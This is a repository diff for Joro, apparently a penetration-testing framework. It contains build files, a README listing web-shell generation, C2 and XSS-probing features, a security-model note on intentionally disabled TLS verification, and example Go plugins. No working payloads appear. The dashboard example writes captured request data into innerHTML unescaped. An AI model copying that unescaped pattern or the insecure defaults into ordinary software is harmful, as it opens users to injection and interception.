|
||||
<https://www.gnu.org/licenses/>.
|
||||
|
||||
The GNU General Public License does not permit incorporating your program
|
||||
into proprietary programs. If your program is a subroutine library, you
|
||||
may consider it more useful to permit linking proprietary applications with
|
||||
the library. If this is what you want to do, use the GNU Lesser General
|
||||
Public License instead of this License. But first, please read
|
||||
<https://www.gnu.org/licenses/why-not-lgpl.html>.
|
||||
@@ -0,0 +1,42 @@
|
||||
.PHONY: build build-frontend build-all release-snapshot clean dev
|
||||
|
||||
BINARY := joro
|
||||
DIST := dist
|
||||
COMMIT := $(shell git rev-parse --short HEAD 2>/dev/null || echo "dev")
|
||||
LDFLAGS := -s -w -X main.commit=$(COMMIT)
|
||||
CC_WRAP := $(CURDIR)/scripts/cc.sh
|
||||
# netgo + osusergo avoid libresolv/libc linkage — required for zig cc cross-builds.
|
||||
TAGS := netgo,osusergo
|
||||
|
||||
build-frontend:
|
||||
cd web && npm install && npm run build
|
||||
|
||||
# Native build. CGO_ENABLED defaults to 1 on the host, which is required for
|
||||
# Go's plugin package (dlopen-based). Do not flip this off.
|
||||
build: build-frontend
|
||||
go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(BINARY) .
|
||||
|
||||
# Cross-compile to all 6 release targets via zig cc (wrapped by scripts/cc.sh).
|
||||
# Matches .goreleaser.yaml so dev cross-builds are plugin-capable too.
|
||||
# Requires `zig` on PATH (brew install zig).
|
||||
build-all: build-frontend
|
||||
@command -v zig >/dev/null || { echo 'zig not found on PATH (brew install zig)'; exit 1; }
|
||||
CGO_ENABLED=1 CC="$(CC_WRAP) x86_64-linux-gnu.2.17" GOOS=linux GOARCH=amd64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-linux-amd64 .
|
||||
CGO_ENABLED=1 CC="$(CC_WRAP) aarch64-linux-gnu.2.17" GOOS=linux GOARCH=arm64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-linux-arm64 .
|
||||
CGO_ENABLED=1 GOOS=darwin GOARCH=amd64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-darwin-amd64 .
|
||||
CGO_ENABLED=1 GOOS=darwin GOARCH=arm64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-darwin-arm64 .
|
||||
CGO_ENABLED=1 CC="$(CC_WRAP) x86_64-windows-gnu" GOOS=windows GOARCH=amd64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-windows-amd64.exe .
|
||||
CGO_ENABLED=1 CC="$(CC_WRAP) aarch64-windows-gnu" GOOS=windows GOARCH=arm64 go build -tags="$(TAGS)" -ldflags="$(LDFLAGS)" -o $(DIST)/joro-windows-arm64.exe .
|
||||
|
||||
# Local snapshot release for sanity-checking goreleaser config without tagging.
|
||||
release-snapshot:
|
||||
goreleaser release --snapshot --clean
|
||||
|
||||
# Start the backend with --dev so it proxies UI requests to Vite.
|
||||
# Run `cd web && npm run dev` in another terminal first.
|
||||
dev:
|
||||
go run . --dev
|
||||
|
||||
clean:
|
||||
rm -f $(BINARY) $(DIST)/joro-*
|
||||
rm -rf web/dist web/node_modules
|
||||
@@ -0,0 +1,45 @@
|
||||
# Joro
|
||||
|
||||

|
||||
|
||||
A web exploitation framework for offensive security professionals. Intercepting proxy, blind vulnerability detection, web shell generation, C2 integration, and collaboration tools in a single binary with an embedded web UI.
|
||||
|
||||
> Warning This tool is intended for authorized penetration testing and security research only. You must only use Joro against systems you own or have explicit written permission to test. Unauthorized access to computer systems is illegal. Bishop Fox assumes no liability and is not responsible for any misuse or damage caused by this tool. Use responsibly.
|
||||
|
||||
## Features
|
||||
|
||||
- **Intercepting proxy** - capture, inspect, and modify HTTP/HTTPS traffic in real time
|
||||
- **HTTPS MITM** - transparent TLS interception using a generated CA certificate
|
||||
- **HTTP History** - searchable, filterable log of all proxied requests and responses
|
||||
- **WebSocket capture** - inspect WebSocket frames alongside HTTP traffic
|
||||
- **Intercept** - pause requests mid-flight, edit them in a syntax-highlighted editor, then forward or drop
|
||||
- **Manipulate** - send and replay raw HTTP requests with a side-by-side response viewer
|
||||
- **Site Map** - auto-generated tree of all proxied hosts, endpoints, and query parameter variants
|
||||
- **Fuzzer** - multi-position HTTP fuzzer with configurable concurrency, matchers, filters, and three attack modes
|
||||
- **Generate** - generate obfuscated web shells and droppers in PHP, ASP, ASPX, JSP, and CFM
|
||||
- **Execute** - run commands via deployed web shells or a connected Sliver C2 teamserver
|
||||
- **Listener mode** - out-of-band callback server (DNS + HTTP) for blind vulnerability detection
|
||||
- **XSS Hunter** - blind XSS detection with probe payloads, screenshot capture, and DOM snapshots
|
||||
- **Sliver C2** - connect to a Sliver teamserver to execute commands on active sessions and beacons
|
||||
- **Transform** - encoding/decoding chains, hash generation, and JWT tampering tools
|
||||
- **Team Server** - collaborative mode with shared team chat, shared notes, and active user presence
|
||||
- **Notes** - per-host notes for tracking findings during engagements
|
||||
- **Plugins** - extend Joro with Go plugins for custom execution backends, proxy hooks, tabs, and dashboards (Linux and macOS only - Go's plugin package does not support Windows)
|
||||
- **Single binary** - the entire UI is embedded, nothing to install separately
|
||||
|
||||
## Installation
|
||||
|
||||
See the Joro wiki for [installation instructions](https://github.com/BishopFox/joro/wiki/Installation) and a [quick start guide](https://github.com/BishopFox/joro/wiki/Getting-Started).
|
||||
|
||||
## Help
|
||||
|
||||
For more information:
|
||||
- Checkout the [wiki](https://github.com/BishopFox/joro/wiki)
|
||||
- Review outstanding [issues](https://github.com/BishopFox/joro/issues) or [create your own](https://github.com/BishopFox/joro/issues/new/choose).
|
||||
- See [CONTRIBUTING.md](https://github.com/BishopFox/joro/blob/main/CONTRIBUTING.md) for information on how to contribute.
|
||||
- See [CLAUDE.md](https://github.com/BishopFox/joro/blob/main/CLAUDE.md) for detailed developer documentation.
|
||||
- See [SECURITY.md](https://github.com/BishopFox/joro/blob/main/SECURITY.md) for information on reporting security issues.
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
Joro is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
+35
@@ -0,0 +1,35 @@
|
||||
# Security
|
||||
|
||||
Joro is a penetration testing tool designed to intercept, inspect, and modify HTTP/HTTPS traffic. Several patterns that would be vulnerabilities in a production application are intentional design choices here.
|
||||
|
||||
## Security Model
|
||||
|
||||
Joro is a **local security tool**, not a production service. The primary user is the pentester running it on their own machine or in a controlled lab environment. The threat model assumes the user trusts their local environment and is intentionally performing security testing against targets they are authorized to test.
|
||||
|
||||
## Safe Defaults
|
||||
|
||||
- **Proxy mode** binds to `127.0.0.1` by default. The proxy, web UI, and API are only accessible from the local machine.
|
||||
- **Listener mode** (`--listener`) binds to `0.0.0.0` by default because it needs to receive DNS and HTTP callbacks from external targets. Ensure your firewall is configured appropriately.
|
||||
- Use `--bind <address>` to override the default bind address in either mode. A warning is printed to stderr when binding to a non-localhost address.
|
||||
|
||||
## Intentional Design Tradeoffs
|
||||
|
||||
### TLS Certificate Verification Disabled
|
||||
|
||||
The proxy's upstream HTTP client sets `InsecureSkipVerify: true` to skip TLS certificate verification. This is required for MITM proxy functionality: the proxy terminates TLS with its own CA certificate and re-establishes connections to upstream servers. Without this, the proxy could not intercept traffic to servers with self-signed, expired, or otherwise invalid certificates, which is a common scenario during penetration tests.
|
||||
|
||||
### Permissive CORS
|
||||
|
||||
The API server uses permissive CORS headers to support the development workflow (Vite dev server on a different port) and local tooling integration. Since proxy mode binds to localhost by default, this limits exposure to the local machine.
|
||||
|
||||
### Arbitrary HTTP Requests
|
||||
|
||||
The Manipulate feature sends user-crafted HTTP requests to arbitrary destinations. This is the core functionality of the tool for manual testing.
|
||||
|
||||
### WebSocket Auth Token in Query Parameter
|
||||
|
||||
Team server mode accepts the authentication token as a `?token=` query parameter for WebSocket connections. This is a known browser limitation: the WebSocket API does not support custom headers during the upgrade handshake. This is acceptable because WebSocket URLs are not stored in browser history, do not appear in Referer headers, and team mode is intended for use on trusted networks.
|
||||
|
||||
## Reporting Vulnerabilities
|
||||
|
||||
If you discover a security issue in Joro itself (not the intentional behaviors described above), please report it via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/joro/security/advisories).
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 874 KiB |
@@ -0,0 +1,7 @@
|
||||
module github.com/BishopFox/joro/examples/plugins/hello-dashboard
|
||||
|
||||
go 1.25.0
|
||||
|
||||
require github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
|
||||
|
||||
replace github.com/BishopFox/joro/sdk => ../../../sdk
|
||||
@@ -0,0 +1,71 @@
|
||||
// hello-dashboard is an example dashboard plugin that replaces the default
|
||||
// Dashboard page with a custom engagement overview.
|
||||
//
|
||||
// Build:
|
||||
//
|
||||
// go build -buildmode=plugin -o hello-dashboard.so . # Linux
|
||||
// go build -buildmode=plugin -o hello-dashboard.dylib . # macOS
|
||||
//
|
||||
// Then place the file in ~/.joro/plugins/ and restart Joro.
|
||||
// The Dashboard tab will render this plugin's UI instead of the built-in page.
|
||||
package main
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"encoding/json"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
//go:embed ui
|
||||
var uiFS embed.FS
|
||||
|
||||
// Plugin is the exported symbol that Joro looks up when loading the plugin.
|
||||
var Plugin sdk.Plugin = &HelloDashboard{}
|
||||
|
||||
// HelloDashboard demonstrates replacing the built-in Dashboard with a custom UI.
|
||||
type HelloDashboard struct {
|
||||
startTime time.Time
|
||||
}
|
||||
|
||||
func (d *HelloDashboard) Manifest() sdk.Manifest {
|
||||
return sdk.Manifest{
|
||||
Name: "hello-dashboard",
|
||||
Version: "1.0.0",
|
||||
Description: "Example Dashboard",
|
||||
Type: sdk.TypeDashboard,
|
||||
}
|
||||
}
|
||||
|
||||
func (d *HelloDashboard) Init(_ sdk.PluginContext) error {
|
||||
d.startTime = time.Now()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *HelloDashboard) Shutdown() error { return nil }
|
||||
|
||||
func (d *HelloDashboard) Routes() []sdk.Route {
|
||||
return []sdk.Route{
|
||||
{
|
||||
Method: "GET",
|
||||
Pattern: "/stats",
|
||||
Handler: d.handleStats,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (d *HelloDashboard) UIAssets() fs.FS {
|
||||
sub, _ := fs.Sub(uiFS, "ui")
|
||||
return sub
|
||||
}
|
||||
|
||||
func (d *HelloDashboard) handleStats(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(map[string]any{ //nolint:errcheck
|
||||
"uptime": time.Since(d.startTime).Round(time.Second).String(),
|
||||
"startTime": d.startTime.Format(time.RFC3339),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,314 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>Dashboard Plugin</title>
|
||||
<link rel="stylesheet" href="/api/v1/theme/variables.css">
|
||||
<script>
|
||||
const theme = new URLSearchParams(window.location.search).get('theme') || 'bishop-fox';
|
||||
document.documentElement.setAttribute('data-theme', theme);
|
||||
</script>
|
||||
<style>
|
||||
* { box-sizing: border-box; margin: 0; padding: 0; }
|
||||
body {
|
||||
font-family: system-ui, -apple-system, sans-serif;
|
||||
background: var(--color-surface-body);
|
||||
color: var(--color-content-primary);
|
||||
padding: 16px;
|
||||
font-size: 13px;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
.header h1 {
|
||||
font-size: 15px;
|
||||
font-weight: 700;
|
||||
color: var(--color-accent);
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.05em;
|
||||
}
|
||||
.header .badge {
|
||||
font-size: 11px;
|
||||
color: var(--color-content-muted);
|
||||
background: var(--color-surface-card);
|
||||
padding: 2px 8px;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.cards {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(160px, 1fr));
|
||||
gap: 10px;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
.card {
|
||||
background: var(--color-surface-card);
|
||||
border: 1px solid var(--color-border);
|
||||
border-radius: 4px;
|
||||
padding: 12px 14px;
|
||||
}
|
||||
.card .label {
|
||||
font-size: 11px;
|
||||
color: var(--color-content-muted);
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.04em;
|
||||
margin-bottom: 4px;
|
||||
}
|
||||
.card .value {
|
||||
font-size: 20px;
|
||||
font-weight: 700;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
.card .value.teal { color: var(--color-accent-secondary); }
|
||||
.card .value.lime { color: var(--color-accent-tertiary); }
|
||||
.card .value.amber { color: var(--color-semantic-warning); }
|
||||
.card .value.coral { color: var(--color-semantic-error); }
|
||||
|
||||
.panel {
|
||||
background: var(--color-surface-card);
|
||||
border: 1px solid var(--color-border);
|
||||
border-radius: 4px;
|
||||
overflow: hidden;
|
||||
}
|
||||
.panel-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 8px 14px;
|
||||
border-bottom: 1px solid var(--color-border);
|
||||
}
|
||||
.panel-header h2 {
|
||||
font-size: 11px;
|
||||
font-weight: 600;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.04em;
|
||||
color: var(--color-content-secondary);
|
||||
}
|
||||
.panel-header .dot {
|
||||
width: 6px;
|
||||
height: 6px;
|
||||
border-radius: 50%;
|
||||
background: var(--color-semantic-success);
|
||||
display: inline-block;
|
||||
margin-right: 6px;
|
||||
animation: pulse 2s ease-in-out infinite;
|
||||
}
|
||||
@keyframes pulse {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.3; }
|
||||
}
|
||||
|
||||
table {
|
||||
width: 100%;
|
||||
border-collapse: collapse;
|
||||
}
|
||||
th {
|
||||
text-align: left;
|
||||
font-size: 11px;
|
||||
font-weight: 500;
|
||||
color: var(--color-content-muted);
|
||||
padding: 6px 14px;
|
||||
border-bottom: 1px solid var(--color-border-subtle);
|
||||
}
|
||||
td {
|
||||
padding: 5px 14px;
|
||||
font-size: 12px;
|
||||
font-family: ui-monospace, monospace;
|
||||
border-bottom: 1px solid var(--color-border-subtle);
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
max-width: 300px;
|
||||
}
|
||||
tr:hover td { background: var(--color-surface-hover); }
|
||||
|
||||
.method {
|
||||
font-weight: 600;
|
||||
font-size: 11px;
|
||||
padding: 1px 5px;
|
||||
border-radius: 2px;
|
||||
display: inline-block;
|
||||
min-width: 36px;
|
||||
text-align: center;
|
||||
}
|
||||
.method.get { background: #00A49E33; color: var(--color-accent-secondary); }
|
||||
.method.post { background: #FFBA4933; color: var(--color-semantic-warning); }
|
||||
.method.put { background: #FF7F1133; color: #FF7F11; }
|
||||
.method.delete { background: #FA484433; color: var(--color-semantic-error); }
|
||||
.method.other { background: #56525433; color: var(--color-content-secondary); }
|
||||
|
||||
.status { font-weight: 600; }
|
||||
.status.s2xx { color: var(--color-semantic-success); }
|
||||
.status.s3xx { color: var(--color-accent-secondary); }
|
||||
.status.s4xx { color: var(--color-semantic-warning); }
|
||||
.status.s5xx { color: var(--color-semantic-error); }
|
||||
|
||||
.empty {
|
||||
padding: 32px;
|
||||
text-align: center;
|
||||
color: var(--color-content-muted);
|
||||
font-size: 12px;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
|
||||
<div class="header">
|
||||
<h1>Engagement Dashboard</h1>
|
||||
<span class="badge" id="uptime">Loading...</span>
|
||||
</div>
|
||||
|
||||
<div class="cards">
|
||||
<div class="card">
|
||||
<div class="label">Requests</div>
|
||||
<div class="value teal" id="stat-requests">--</div>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="label">Hosts</div>
|
||||
<div class="value lime" id="stat-hosts">--</div>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="label">Callbacks</div>
|
||||
<div class="value amber" id="stat-callbacks">--</div>
|
||||
</div>
|
||||
<div class="card">
|
||||
<div class="label">XSS Fires</div>
|
||||
<div class="value coral" id="stat-fires">--</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="panel">
|
||||
<div class="panel-header">
|
||||
<h2><span class="dot"></span>Recent Activity</h2>
|
||||
</div>
|
||||
<table>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="width:60px">Method</th>
|
||||
<th style="width:60px">Status</th>
|
||||
<th>Host</th>
|
||||
<th>Path</th>
|
||||
<th style="width:60px">Size</th>
|
||||
<th style="width:50px">Time</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody id="activity"></tbody>
|
||||
</table>
|
||||
<div class="empty" id="empty-msg">No requests captured yet.</div>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
const PLUGIN = '/api/v1/plugin/hello-dashboard';
|
||||
const API = '/api/v1';
|
||||
|
||||
function $(id) { return document.getElementById(id); }
|
||||
|
||||
function methodClass(m) {
|
||||
const l = m.toLowerCase();
|
||||
if (l === 'get') return 'get';
|
||||
if (l === 'post') return 'post';
|
||||
if (l === 'put' || l === 'patch') return 'put';
|
||||
if (l === 'delete') return 'delete';
|
||||
return 'other';
|
||||
}
|
||||
|
||||
function statusClass(s) {
|
||||
if (s >= 200 && s < 300) return 's2xx';
|
||||
if (s >= 300 && s < 400) return 's3xx';
|
||||
if (s >= 400 && s < 500) return 's4xx';
|
||||
if (s >= 500) return 's5xx';
|
||||
return '';
|
||||
}
|
||||
|
||||
function fmtSize(b) {
|
||||
if (b == null) return '-';
|
||||
if (b < 1024) return b + 'B';
|
||||
if (b < 1048576) return (b / 1024).toFixed(1) + 'K';
|
||||
return (b / 1048576).toFixed(1) + 'M';
|
||||
}
|
||||
|
||||
function fmtDuration(ms) {
|
||||
if (ms == null) return '-';
|
||||
if (ms < 1000) return ms + 'ms';
|
||||
return (ms / 1000).toFixed(1) + 's';
|
||||
}
|
||||
|
||||
function extractPath(url) {
|
||||
try {
|
||||
const u = new URL(url);
|
||||
return u.pathname + u.search;
|
||||
} catch {
|
||||
return url;
|
||||
}
|
||||
}
|
||||
|
||||
async function fetchJSON(url) {
|
||||
const res = await fetch(url);
|
||||
if (!res.ok) return null;
|
||||
return res.json();
|
||||
}
|
||||
|
||||
async function refresh() {
|
||||
const stats = await fetchJSON(PLUGIN + '/stats').catch(() => null);
|
||||
if (stats) {
|
||||
$('uptime').textContent = 'Uptime: ' + stats.uptime;
|
||||
}
|
||||
|
||||
const reqs = await fetchJSON(API + '/requests?limit=1').catch(() => null);
|
||||
if (reqs) {
|
||||
$('stat-requests').textContent = reqs.total ?? 0;
|
||||
}
|
||||
|
||||
const sitemap = await fetchJSON(API + '/sitemap').catch(() => null);
|
||||
if (sitemap && sitemap.hosts) {
|
||||
$('stat-hosts').textContent = sitemap.hosts.length;
|
||||
}
|
||||
|
||||
const interactions = await fetchJSON(API + '/callbacks/interactions?limit=1').catch(() => null);
|
||||
if (interactions) {
|
||||
$('stat-callbacks').textContent = interactions.total ?? 0;
|
||||
}
|
||||
|
||||
const fires = await fetchJSON(API + '/xss/fires?limit=1').catch(() => null);
|
||||
if (fires) {
|
||||
$('stat-fires').textContent = fires.total ?? 0;
|
||||
}
|
||||
|
||||
const recent = await fetchJSON(API + '/requests?limit=20').catch(() => null);
|
||||
const tbody = $('activity');
|
||||
const emptyMsg = $('empty-msg');
|
||||
|
||||
if (!recent || !recent.items || recent.items.length === 0) {
|
||||
tbody.innerHTML = '';
|
||||
emptyMsg.style.display = 'block';
|
||||
return;
|
||||
}
|
||||
emptyMsg.style.display = 'none';
|
||||
|
||||
const rows = recent.items.map(r => {
|
||||
const mc = methodClass(r.method);
|
||||
const sc = statusClass(r.statusCode);
|
||||
const path = extractPath(r.url || '');
|
||||
return `<tr>
|
||||
<td><span class="method ${mc}">${r.method}</span></td>
|
||||
<td><span class="status ${sc}">${r.statusCode || '-'}</span></td>
|
||||
<td>${r.host || '-'}</td>
|
||||
<td title="${path}">${path}</td>
|
||||
<td>${fmtSize(r.respSize)}</td>
|
||||
<td>${fmtDuration(r.durationMs)}</td>
|
||||
</tr>`;
|
||||
});
|
||||
tbody.innerHTML = rows.join('');
|
||||
}
|
||||
|
||||
refresh();
|
||||
setInterval(refresh, 3000);
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,7 @@
|
||||
module github.com/BishopFox/joro/examples/plugins/hello-feature
|
||||
|
||||
go 1.25.0
|
||||
|
||||
require github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
|
||||
|
||||
replace github.com/BishopFox/joro/sdk => ../../../sdk
|
||||
@@ -0,0 +1,58 @@
|
||||
// hello-feature is an example plugin feature (sub-tab in the Plugins page).
|
||||
//
|
||||
// Build:
|
||||
//
|
||||
// go build -buildmode=plugin -o hello-feature.so .
|
||||
//
|
||||
// Then place hello-feature.so in ~/.joro/plugins/ and restart Joro.
|
||||
// A "Hello Feature" sub-tab will appear in the Plugins page.
|
||||
package main
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
//go:embed ui
|
||||
var uiFS embed.FS
|
||||
|
||||
// Plugin is the exported symbol that Joro looks up when loading the plugin.
|
||||
var Plugin sdk.Plugin = &HelloFeature{}
|
||||
|
||||
type HelloFeature struct{}
|
||||
|
||||
func (f *HelloFeature) Manifest() sdk.Manifest {
|
||||
return sdk.Manifest{
|
||||
Name: "hello-feature",
|
||||
Version: "1.0.0",
|
||||
Description: "Hello Feature",
|
||||
Type: sdk.TypeFeature,
|
||||
}
|
||||
}
|
||||
|
||||
func (f *HelloFeature) Init(_ sdk.PluginContext) error { return nil }
|
||||
func (f *HelloFeature) Shutdown() error { return nil }
|
||||
|
||||
func (f *HelloFeature) TabInfo() sdk.TabMeta {
|
||||
return sdk.TabMeta{Label: "Hello Feature"}
|
||||
}
|
||||
|
||||
func (f *HelloFeature) Routes() []sdk.Route {
|
||||
return []sdk.Route{
|
||||
{
|
||||
Method: "GET",
|
||||
Pattern: "/ping",
|
||||
Handler: func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.Write([]byte(`{"pong": true}`)) //nolint:errcheck
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (f *HelloFeature) UIAssets() fs.FS {
|
||||
sub, _ := fs.Sub(uiFS, "ui")
|
||||
return sub
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<title>Hello Feature</title>
|
||||
<link rel="stylesheet" href="/api/v1/theme/variables.css">
|
||||
<script>
|
||||
const theme = new URLSearchParams(window.location.search).get('theme') || 'bishop-fox';
|
||||
document.documentElement.setAttribute('data-theme', theme);
|
||||
</script>
|
||||
<style>
|
||||
body { font-family: system-ui, sans-serif; background: var(--color-surface-body); color: var(--color-content-primary); margin: 0; padding: 24px; }
|
||||
h1 { color: var(--color-accent); font-size: 16px; }
|
||||
p { color: var(--color-content-muted); font-size: 13px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello Feature</h1>
|
||||
<p>This is an example plugin feature rendered as a sub-tab within the Plugins page.</p>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,7 @@
|
||||
module github.com/BishopFox/joro/examples/plugins/hello-provider
|
||||
|
||||
go 1.25.0
|
||||
|
||||
require github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
|
||||
|
||||
replace github.com/BishopFox/joro/sdk => ../../../sdk
|
||||
@@ -0,0 +1,132 @@
|
||||
// hello-provider is an example execution provider extension for Joro.
|
||||
//
|
||||
// Build:
|
||||
//
|
||||
// go build -buildmode=plugin -o hello-provider.so .
|
||||
//
|
||||
// Then place hello-provider.so in ~/.joro/plugins/ and restart Joro.
|
||||
// A "Hello Provider" mode will appear in the Execute tab.
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
// Plugin is the exported symbol that Joro looks up when loading the plugin.
|
||||
var Plugin sdk.Plugin = &HelloProvider{}
|
||||
|
||||
type HelloProvider struct {
|
||||
connected bool
|
||||
greeting string
|
||||
}
|
||||
|
||||
func (h *HelloProvider) Manifest() sdk.Manifest {
|
||||
return sdk.Manifest{
|
||||
Name: "hello-provider",
|
||||
Version: "1.0.0",
|
||||
Description: "Hello Provider",
|
||||
Type: sdk.TypeExecProvider,
|
||||
}
|
||||
}
|
||||
|
||||
func (h *HelloProvider) Init(_ sdk.PluginContext) error { return nil }
|
||||
func (h *HelloProvider) Shutdown() error { return nil }
|
||||
|
||||
func (h *HelloProvider) ConfigSchema() []sdk.ConfigField {
|
||||
return []sdk.ConfigField{
|
||||
{
|
||||
Name: "greeting",
|
||||
Label: "Greeting",
|
||||
Type: "text",
|
||||
Placeholder: "Hello",
|
||||
Required: false,
|
||||
HelpText: "The greeting to use in responses",
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (h *HelloProvider) Connect(_ context.Context, config map[string]string) error {
|
||||
h.greeting = config["greeting"]
|
||||
if h.greeting == "" {
|
||||
h.greeting = "Hello"
|
||||
}
|
||||
h.connected = true
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *HelloProvider) Disconnect(_ context.Context) error {
|
||||
h.connected = false
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *HelloProvider) IsConnected() bool {
|
||||
return h.connected
|
||||
}
|
||||
|
||||
func (h *HelloProvider) Status(_ context.Context) sdk.ProviderStatus {
|
||||
return sdk.ProviderStatus{
|
||||
Connected: h.connected,
|
||||
DisplayInfo: map[string]string{
|
||||
"greeting": h.greeting,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (h *HelloProvider) Command(_ context.Context, input string) sdk.CommandResult {
|
||||
parts := strings.Fields(input)
|
||||
if len(parts) == 0 {
|
||||
return sdk.CommandResult{Error: "empty command"}
|
||||
}
|
||||
|
||||
switch strings.ToLower(parts[0]) {
|
||||
case "help":
|
||||
return sdk.CommandResult{Output: "Available commands: help, greet <name>, clear"}
|
||||
case "greet":
|
||||
name := "World"
|
||||
if len(parts) > 1 {
|
||||
name = strings.Join(parts[1:], " ")
|
||||
}
|
||||
return sdk.CommandResult{Output: fmt.Sprintf("%s, %s!", h.greeting, name)}
|
||||
case "clear":
|
||||
return sdk.CommandResult{Clear: true}
|
||||
default:
|
||||
return sdk.CommandResult{Error: fmt.Sprintf("unknown command: %s", parts[0])}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *HelloProvider) PromptPrefix() string {
|
||||
return "hello > "
|
||||
}
|
||||
|
||||
// GraphProvider implementation — shows example nodes on the Dashboard.
|
||||
|
||||
func (h *HelloProvider) GraphData(_ context.Context) sdk.GraphInfo {
|
||||
if !h.connected {
|
||||
return sdk.GraphInfo{}
|
||||
}
|
||||
return sdk.GraphInfo{
|
||||
Server: &sdk.GraphServer{
|
||||
Label: "Hello Server",
|
||||
Host: "127.0.0.1",
|
||||
Port: 1234,
|
||||
},
|
||||
Nodes: []sdk.GraphNode{
|
||||
{
|
||||
ID: "example-agent-1",
|
||||
Name: "AGENT-01",
|
||||
Hostname: "example-host",
|
||||
OS: "linux",
|
||||
Arch: "amd64",
|
||||
RemoteAddress: "192.168.1.100:49221",
|
||||
Transport: "https",
|
||||
Username: "root",
|
||||
Type: "agent",
|
||||
Status: "active",
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
module github.com/BishopFox/joro/examples/plugins/hello-tab
|
||||
|
||||
go 1.25.0
|
||||
|
||||
require github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000
|
||||
|
||||
replace github.com/BishopFox/joro/sdk => ../../../sdk
|
||||
@@ -0,0 +1,60 @@
|
||||
// hello-tab is an example top-level tab extension for Joro.
|
||||
//
|
||||
// Build:
|
||||
//
|
||||
// go build -buildmode=plugin -o hello-tab.so .
|
||||
//
|
||||
// Then place hello-tab.so in ~/.joro/plugins/ and restart Joro.
|
||||
// A "Hello" tab will appear in the top-level navigation.
|
||||
package main
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"encoding/json"
|
||||
"io/fs"
|
||||
"net/http"
|
||||
|
||||
"github.com/BishopFox/joro/sdk"
|
||||
)
|
||||
|
||||
//go:embed ui
|
||||
var uiFS embed.FS
|
||||
|
||||
// Plugin is the exported symbol that Joro looks up when loading the plugin.
|
||||
var Plugin sdk.Plugin = &HelloTab{}
|
||||
|
||||
type HelloTab struct{}
|
||||
|
||||
func (t *HelloTab) Manifest() sdk.Manifest {
|
||||
return sdk.Manifest{
|
||||
Name: "hello-tab",
|
||||
Version: "1.0.0",
|
||||
Description: "Hello Tab",
|
||||
Type: sdk.TypeTab,
|
||||
}
|
||||
}
|
||||
|
||||
func (t *HelloTab) Init(_ sdk.PluginContext) error { return nil }
|
||||
func (t *HelloTab) Shutdown() error { return nil }
|
||||
|
||||
